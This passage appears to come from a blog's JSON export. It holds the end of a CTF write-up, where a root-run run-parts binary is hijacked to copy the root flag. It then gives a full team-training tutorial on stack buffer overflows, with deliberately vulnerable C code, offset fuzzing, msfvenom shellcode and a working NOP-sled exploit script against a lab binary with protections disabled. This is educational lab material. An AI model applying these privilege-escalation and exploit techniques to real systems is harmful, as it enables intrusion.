shell and K.I.S.S. jkr@writeup:/usr/local$ touch sbin/run-parts jkr@writeup:/usr/local$ echo \"cat /root/root.txt &gt; /var/tmp/sneaky.txt\" &gt; sbin/run-parts jkr@writeup:/usr/local$ chmod +x sbin/run-parts Now simply open a new terminal and let's hope that everything went smoothly. jkr@writeup:/var/tmp$ ls -latr total 12 drwxr-xr-x 12 root root 4096 Apr 19 04:24 .. drwxrwxrwt 2 root root 4096 Oct 1 17:12 . -rw-r--r-- 1 root root 33 Oct 1 17:12 sneaky.txt jkr@writeup:/var/tmp$ cat sneaky.txt eeba47********************** And just like that Writeup is officially in the books. Extra fun At some point during the pspy enumeration phase I captured what I can only assume was someone utterly exasperated. Unfortunately for them I was too busy trying to get to the end of this box. Thanks folks. Until next time." }, { "title": "Buffer Overflows - CTF Prep", "url": "/reverse-engineering/2019/09/28/buffer-overflow-practical-case-study/", "categories": "reverse-engineering", "tags": "ctf, buffer-overflow", "date": "2019-09-28 17:46:48 -0400", "content": "Introduction: Necessity is the Mother of Education As part of our Red Team preparations with the then upcoming 2019 Google CTF we held an excercise to take stock of our strengths and weaknesses to know where we would need to improve. It became evident that while we had some Web-based expertise among the group there was a lack in lower level exploitation experience. In the interest of getting folks started and since I was one of the only individuals with prior experience, I was nominated and went through a simplistic, practical BOF example. Once the preverbial \"tag\" was issued the first question that came to mind was - \"Ok, now what do I cover?\". I tried to break it down into specific requirement items to help plan for the presentation. Most of the team used Kali - I wanted to make sure they would have a similar platform to retrace the steps themselves. Most of the team wanted to work with GDB - There are many Reverse Engineering tools available however the consensus was that folks wanted to work with GDB. The purpose was only to explain the theory at a cursory level - All countermeasures were explicitly turned off to allow a beginner discussion. I wanted to present the steps in a repeatable fashion - While there would be a presentation and walkthrough, I wanted to allow individuals the ability to go through hands-on themselves after the fact. This meant including the commands and screenshots of the example for reference. With the plan mapped out I started prepping the deck. Thankfully, there were several resources available that had covered the topic similarly. I was able to cherry-pick between the various sources then add my own explanations and hands-on walkthroughs. Presentation The original presentation was done in person using a PPT deck. I've extracted the data and present it here, however I will also include a link to the original deck in PDF format as some of the magic does not translate perfectly. I would be remiss to not to mention Coen Goedegebure's post as he goes into excellent code theory and while I won’t repeat everything here I shamelessly pulled material from his post as well as others. ELF (Executable and Linkable Format) In computing, the Executable and Linkable Format (ELF), is a common standard file format for executable files, object code, shared libraries, and core dumps. Each ELF file is made up of one ELF header followed by file data. The data can include: Program header table Section header table Data referred to by entries in the program header table or section header table When a program is run by the OS the executable will be held in memory in a very specific way. On top of the data area is the heap. This is an area of memory where large objects are allocated. Below the kernel is the stack. This holds the local variables for each of the functions. When a new function is called, these are pushed on the end of the stack. Note that the heap grows up (from low to higher memory) and the stack grows downwards (from high to lower memory). Buffer Overflow Theory Consider the case where a program calls a function, a piece of code that does something and returns where it was before. When the call is made, the parameters that are passed to the function, are pushed on top of the stack. With the parameters on the stack, the code of the function will then jump to somewhere else in memory and do something with these parameters. The important part to remember is while the stack grows downward from high-memory to lower-memory addresses, the buffer itself is filled from lower- to higher memory addresses. This means that if we would pass a value that is bigger than the assigned buffer, it could start overwriting the base pointer that are lower in the stack (and higher up in the memory) Buffer Overflow Example (Code) #include &lt;stdio.h&gt; #include &lt;unistd.h&gt; int foo(){ \tchar buffer[600]; \tint characters_read; \tprintf(\"Enter some string:\\n\"); \tcharacters_read = read(0, buffer, 1000); \tprintf(\"You entered: %s\", buffer); \treturn 0; } void main(){ \tfoo(); } Let’s test this out with a simple script – take an input and paste it out. Based on the previous slide, we know that the buffer size has 600 bytes of space reserved in the stack for buffer[]. Looks like our read line in the code will take up to 1000 characters. What happens if we read over that buffer’s 600 reserved size? Segfault...good! Let’s start poking around and see if we can leverage this to control the execution flow. Initial Investigation Before we start exploring too far think about what is happening in the code. Our main() function will have its own parameters and local variables inside a stack frame. When we reach the foo() function in the code, the execution will push return address and base address of the frame on to the stack then move to the execution code location of foo(). Once completed, the flow will pop off both of these and jump back to the previous execution location. If we are able to somehow overwrite this return address by overflowing data upwards, we can theoretically control the execution flow of the program. Assembly Registers Keeping it simple we will only describe the registers we are interested in so it makes sense once we start looking at the tooling ESP (Stack Pointer) register points to the current location within the stack segment. EIP (Instruction Pointer) register always contains the address of the next instruction to be executed. EBP (Base Pointer) register points to data in the data segment. If we are able to control EIP, we should be able to direct the execution flow to an address of our choosing. Initial Look Under the Hood Let’s rerun the script – this time attaching the execution flow to gdb (specifically with the pwndbg extension) and see what we notice under the hood. We manage to overflow quite a few registers, most importantly EIP. This explains why we segfault – when we overflow EIP and the execution flow returns to the point it references EIP it attempts to run code located at 0x41414141, which is currently invalid. Excellent, if we can craft a proper payload we should be able to change 0x41414141 to a meaningful address (ideally, a chunk of code we control). First thing’s first, let’s see if we can figure out the exact location where EIP is stored. Fuzzing We can leverage a unique pattern to determine the exact location of EIP: /usr/bin/msf-pattern_create -l 1000 &gt; fuzz_rbp.in Now let’s rerun the program within gdb and check where EIP get’s overwritten: /usr/bin/msf-pattern_offset -q 0x75413575 [*] Exact match at offset 616 Shellcode There is theoretical value in going through a C shellcode disassembly by hand – compiling your own C code, getting the machine code, then substituting the “bad character” executions manually. For the purposes of this example however, we will leverage msfvenom to create a payload for us. The purpose of the shellcode will be to execute an ‘echo “this is awesome”’. The options however are almost limitless. Notice below the -b ‘\\x00’. Since 0x00 is a null terminator we are telling msfvenom to avoid or substitute any commands that would have 0x00. More explanation into how this is done manually is covered in the shellcode chapter of Shellcoder’s Handbook. msfvenom -p linux/x86/exec CMD='echo \"This is awesome!\"' -b '\\0x00' -f python [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 86 (iteration=0) x86/shikata_ga_nai chosen with final size 86 Payload size: 86 bytes Final size of python file: 424 bytes buf = \"\" buf += \"\\xb8\\x0d\\xdf\\x57\\xba\\xd9\\xc5\\xd9\\x74\\x24\\xf4\\x5a\\x31\" buf += \"\\xc9\\xb1\\x0f\\x31\\x42\\x15\\x83\\xc2\\x04\\x03\\x42\\x11\\xe2\" buf += \"\\xf8\\xb5\\x5c\\xe2\\x9b\\x18\\x05\\x7a\\xb6\\xff\\x40\\x9d\\xa0\" buf += \"\\xd0\\x21\\x0a\\x30\\x47\\xe9\\xa8\\x59\\xf9\\x7c\\xcf\\xcb\\xed\" buf += \"\\x67\\x10\\xeb\\xed\\xf2\\x73\\x83\\x82\\xdc\\x51\\x07\\x35\\x74\" buf += \"\\xe5\\x87\\xac\\xf5\\x29\\xa6\\x59\\x9f\\x5a\\x47\\xcb\\x3a\\xbc\" buf += \"\\xb5\\x13\\x92\\xed\\x30\\xf2\\xd1\\x92\" Payload Let’s put this all together. Our plan is to combine a 616 byte payload that will control the execution flow into our custom shellcode. We know that EIP gets overwritten at 616, which means we can pack our shellcode in the buffer beforehand. We will leverage a technique called NOP Sledding and point EIP to an address within the NOP Sled region. Payload - Part 2 A NOP Sled is a series of 0x90 (NOP - or No Operation) where the program does not perform any commands other than move to the next instruction. If we put a series of these together, as long as we redirect the execution flow anywhere within the NOP chunk, we would “slide” to the end of NOPs where our next execution command (in our case, the shellcode) is located. We locate the address within our NOP Sled (what we want to set EIP to) by investigating the stack within gdb and determining the address 0xffffd0a4 where the sled begins. Exploit Let’s put it all together in a python script. Notice the file format is little endian and we need to convert our EIP address appropriately. from struct import pack # Turning off ASLR # echo 0 &gt; /proc/sys/kernel/randomize_va_space # Turning off stack canaries and allows stack execution (remove NX) # gcc bof_demo.c -o bof_demo -z execstack -fno-stack-protector -m32 payload_len = 616\t\t nop = \"\\x90\"*500 # EIP found by checking pwndbg out put using dd $esp-640 #python -c 'print \"A\"*1000' &gt; in.txt #pwndbg&gt; r &lt; in.txt #pwndbg&gt; dd $esp-640 #ffffd080 5655701b ffffd094 000003e8 565561c8 #ffffd090 f7fce074 41414141 41414141 41414141 #ffffd0a0 41414141 41414141 41414141 41414141 #ffffd0b0 41414141 41414141 41414141 41414141 eip = 0xffffd094 # msfvenom -p linux/x86/exec CMD='echo \"This is awesome!\"' -b '\\x00' -f python buf = \"\" buf += \"\\xb8\\x0d\\xdf\\x57\\xba\\xd9\\xc5\\xd9\\x74\\x24\\xf4\\x5a\\x31\" buf += \"\\xc9\\xb1\\x0f\\x31\\x42\\x15\\x83\\xc2\\x04\\x03\\x42\\x11\\xe2\" buf += \"\\xf8\\xb5\\x5c\\xe2\\x9b\\x18\\x05\\x7a\\xb6\\xff\\x40\\x9d\\xa0\" buf += \"\\xd0\\x21\\x0a\\x30\\x47\\xe9\\xa8\\x59\\xf9\\x7c\\xcf\\xcb\\xed\" buf += \"\\x67\\x10\\xeb\\xed\\xf2\\x73\\x83\\x82\\xdc\\x51\\x07\\x35\\x74\" buf += \"\\xe5\\x87\\xac\\xf5\\x29\\xa6\\x59\\x9f\\x5a\\x47\\xcb\\x3a\\xbc\" buf += \"\\xb5\\x13\\x92\\xed\\x30\\xf2\\xd1\\x92\" buf_len = len(buf) nop_len = len(nop) padding = \"A\"*(payload_len-nop_len-buf_len) payload = nop + buf + padding + pack(\"&lt;Q\", eip) print payload Exploit - Part 2 Let’s run our python script and dump the payload into a text file. $&gt; python payload.py &gt; exploit.txt $&gt; Now let’s give it a test (notice the full execution paths). The environment within gdb/pwndbg does not necessarily match the system environment. Sometimes an exploit will work within gdb/pwndbg and not within the system. There are ways to duplicate system settings within gdb however I will not cover that here. /root/Desktop/RE-Examples/BO-Standard/bof_demo &lt; /root/Desktop/RE-Examples/BO-Standard/payload.txt Enter some string: This is awesome! Excellent, we have successfully taken control of the execution flow! Buffer Overflow Countermeasures There have been several countermeasures deployed to reduce the capability of executing the type of buffer overflow we covered in this presentation. Each of the first three below were explicitly turned off during code compilation or at the system level for educational purposes ASLR - Address space layout randomization Stack NX – Stack No-Execution Stack Canaries IDS NOP Sled detections In a perpetual cat and mouse game - there are techniques for bypassing each of these countermeasures. Reception Overall it was well received. My measure of success for this presentation was by group engagement and the distinct lack of snores throughout the 1 hour session. By the second criteria it was thankfully a complete success. For group engagement, I had left 5-10 minutes at the end of the presentation for questions and discussions and we ended up going over by more than 20. The questions were a mixture of digging deeper into specifics that were covered as well as what they should focus on to continue learning. Next Steps As was expected when we first formed the Red Team group most of the planned activities slowed down for the summer. With that said we are looking at various events in the coming months and a continuation of this series may be beneficial." } ]
